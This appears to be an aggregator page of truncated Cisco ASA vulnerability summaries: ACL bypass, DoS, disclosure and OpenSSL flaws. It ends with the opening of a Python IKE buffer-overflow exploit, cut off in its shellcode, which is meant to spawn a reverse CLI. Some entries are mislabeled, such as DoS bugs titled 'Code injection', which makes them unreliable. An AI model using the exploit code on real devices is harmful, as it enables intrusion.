CVE-2016-1445

Cisco ASA Software 8.2–9.4.3.3 is affected by an ACL bypass vulnerability in the ICMP Echo Reply handling, allowing unauthenticated remote attackers to bypass ACLs and permit ICMP traffic that should be denied. The issue stems from how ACL filters for ICMP echo requests/replies are implemented, e...

CVE-2016-1445

Cisco Adaptive Security Appliance ASA Software 8.2 through 9.4.3.3 allows remote attackers to bypass intended ICMP Echo Reply ACLs via vectors related to subtypes...

Cisco Adaptive Security Appliance Access Control List ICMP Echo Request Code Filtering Vulnerability

A vulnerability in the Cisco Adaptive Security Appliance ASA Software implementation of access control list ACL permit and deny filters for ICMP echo reply messages could allow an unauthenticated, remote attacker to bypass ACL configurations for an affected device. ICMP traffic that should be...

The vulnerability of Cisco ASA software allows a malicious individual to execute arbitrary code.

The vulnerability exists in the function dtls1reassemblefragment in d1both.c in OpenSSL, due to incorrect checking of the length of fragments in DTLS ClientHello messages. Exploiting this vulnerability allows an attacker to execute arbitrary code or cause a service failure buffer overflow and...

Cisco ASA SSL VPN Functionality Version Information Disclosure (CSCuq65542)

According to its version and configuration, the Cisco Adaptive Security Appliance ASA software on the remote device is affected by an information disclosure vulnerability in the SSL VPN feature due to improperly returning verbose response data. An unauthenticated, remote attacker can exploit this...

Vulnerability of Cisco ASA software, allowing a malicious actor to intercept sessions

The vulnerability exists in OpenSSL due to an improper limitation on the processing of ChangeCipherSpec messages. Exploiting this vulnerability allows a malicious actor to induce the use of a null-length master key in the OpenSSL-to-OpenSSL communication, thereby intercepting the session or gaini...

Cisco ASA libsrtp DoS (CSCux00686)

The remote Cisco Adaptive Security Appliance ASA is missing vendor-supplied security patches, and it is configured to use the Phone Proxy feature. It is, therefore, affected by an integer underflow condition in the Secure Real-Time Transport Protocol SRTP library due to improper validation of...

[SECURITY] Fedora 24 Update: nfdump-1.6.15-1.fc24

Nfdump is a set of tools to collect and process NetFlow data. It's fast and has a powerful filter pcap like syntax. It supports NetFlow versions v1, v5, v7 , v9 and IPFIX as well as a limited set of sflow. It includes support for CISCO ASA NSEL and CISCO NAT NEL devices which export event logging...

Cisco ASA Cavium SDK TLS Incorrect Padding Acceptance Plaintext Disclosure (CSCuu93339)

The remote Cisco Adaptive Security Appliance ASA is missing a vendor-supplied security patch. It is, therefore, affected by a flaw in the TLS 1.x implementation in the Cavium SDK due to a failure to check the first byte of the padding bytes. A man-in-the-middle attacker can exploit this, by sendi...

CVE-2016-1379

Cisco Adaptive Security Appliance ASA Software 9.0 through 9.5.1 mishandles IPsec error processing, which allows remote authenticated users to cause a denial of service memory consumption via crafted 1 LAN-to-LAN or 2 Remote Access VPN tunnel packets, aka Bug ID CSCuv70576...

Code injection

Cisco Adaptive Security Appliance ASA Software 9.0 through 9.5.1 mishandles IPsec error processing, which allows remote authenticated users to cause a denial of service memory consumption via crafted 1 LAN-to-LAN or 2 Remote Access VPN tunnel packets, aka Bug ID CSCuv70576...

CVE-2016-1379

Cisco Adaptive Security Appliance ASA Software 9.0 through 9.5.1 mishandles IPsec error processing, which allows remote authenticated users to cause a denial of service memory consumption via crafted 1 LAN-to-LAN or 2 Remote Access VPN tunnel packets, aka Bug ID CSCuv70576...

CVE-2016-1379

CVE-2016-1379 affects Cisco ASA Software 9.0–9.5.1 where IPsec error handling mishandling in the IPsec code can be triggered by crafted LAN-to-LAN or Remote Access VPN tunnel packets, allowing an authenticated remote attacker to exhaust memory and cause DoS (traffic forwarding may stop). Cisco’s ...

CVE-2016-1385

The XML parser in Cisco Adaptive Security Appliance ASA Software through 9.5.2 allows remote authenticated users to cause a denial of service instability, memory consumption, or device reload by leveraging 1 administrative access or 2 Clientless SSL VPN access to provide a crafted XML document, a...

CVE-2016-1385

The XML parser in Cisco Adaptive Security Appliance ASA Software through 9.5.2 allows remote authenticated users to cause a denial of service instability, memory consumption, or device reload by leveraging 1 administrative access or 2 Clientless SSL VPN access to provide a crafted XML document, a...

Code injection

The XML parser in Cisco Adaptive Security Appliance ASA Software through 9.5.2 allows remote authenticated users to cause a denial of service instability, memory consumption, or device reload by leveraging 1 administrative access or 2 Clientless SSL VPN access to provide a crafted XML document, a...

CVE-2016-1385

CVE-2016-1385 affects Cisco ASA XML parser. The issue arises from insufficient hardening of the XML parser, enabling a remote, authenticated attacker to cause denial of service (instability, memory consumption, or device reload) by sending a crafted XML document. Impact is observed with ASA Softw...

CVE-2016-1385

The XML parser in Cisco Adaptive Security Appliance ASA Software through 9.5.2 allows remote authenticated users to cause a denial of service instability, memory consumption, or device reload by leveraging 1 administrative access or 2 Clientless SSL VPN access to provide a crafted XML document, a...

Cisco Adaptive Security Appliance Ipsec Code Denial of Service Vulnerability

Cisco Adaptive Security Appliance ASA, Adaptive Security Appliance is a set of firewall appliances from the American company Cisco Cisco. The appliance also includes IPS Intrusion Prevention System, SSL VPN, IPSec VPN, anti-spam and other features. The Cisco ASA has a security vulnerability in it...

Cisco ASA Software 8.x / 9.x - IKEv1 and IKEv2 Buffer Overflow

Exploit for hardware platform in category remote exploits !/usr/bin/env python2.7 import socket import sys import struct import string import random import time Spawns a reverse cisco CLI cliShellcode = "\x60\xc7\x02\x90\x67\xb9\x09\x8b\x45\xf8\x8b\x40\x5c\x8b\x40\x04"...